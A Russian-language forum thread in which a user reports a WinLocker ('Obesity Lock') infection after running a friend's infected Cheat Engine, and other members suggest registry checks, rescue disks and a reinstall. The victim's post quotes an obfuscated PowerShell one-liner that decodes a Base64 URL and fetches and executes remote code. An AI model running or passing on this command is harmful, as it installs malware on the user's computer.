Словил вирус "Кровавая Мэрри Obesity Lock WinLock"

[ilonmine]

Пару раз обозвал друга и он обиделся, кинул мне зараженный чит энджен и по его словам кинул мне вирус через файл подкачки, предварительно дал мне команду чтобы я ввел в повершел - iex(irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly90aW55dXJsLmNvbS9ydm52czZqOA=='))))
Вирус похож на ВинЛокер, но очень страшный, спустя пару минут как зашел на рабочий стол выходит локер с названием "Obesity Lock" и ненужной инфой, пообщался с ним в тг - он сказал что сожжет мне акбшку через эту штуку, залочит биос, я наврал что комп сгорел, не знаю что делать, помогите!!

 

[ilonmine]

UPD - не акб а бпшник

 

[Sandor]

Здравствуйте!

Соберите и прикрепите логи Farbar.

 

[slavavir]

Скорее всего в повершел он тебе сказал ввести команду для установки стилера, а программа которую ты установил была винлокером. Пробуй зайти через среду востановления в командную строку и открой через командную строку реестр, а в реестре проверь винлогон, если там написано что то кроме explorer.exe или вообще ничего не вписано то запиши его там. Еще в реестре проверь Usernit там также должен указываться только путь к usernit. Еще скачай программу на флешку для снятия блокировок на диспетчер задач комбинации и т.д. И проверь планировщик задач. После как зайдешь в сам виндовс сразу выключи интернет и через флешку скачай антивирус и проверь пк и проверь диспетчер задач на подозрительные задачи. В крайнем случае переустанови винду.

 

[Max]

@ilonmine, сперва вылечите систему при помощи загрузочных дистрибутивов антивирусных программ:

Dr.Web аварийное восстановление системы

Dr.Web LiveDisk - БЕСПЛАТНОЕ аварийное восстановление системы когда действия вредоносных программ сделали невозможной загрузку компьютера под управлением Windows

free.drweb.ru

Kaspersky Free Rescue Disk | Лаборатория Касперского

Максимальный уровень вашей безопасности с продуктами Лаборатории Касперского. Скачайте бесплатную или пробную версию для защиты от новейших кибер-атак и угроз.

www.kaspersky.ru

Далее, вероятно, потребуется реинсталл операционки, но посмотрите по обстоятельствам.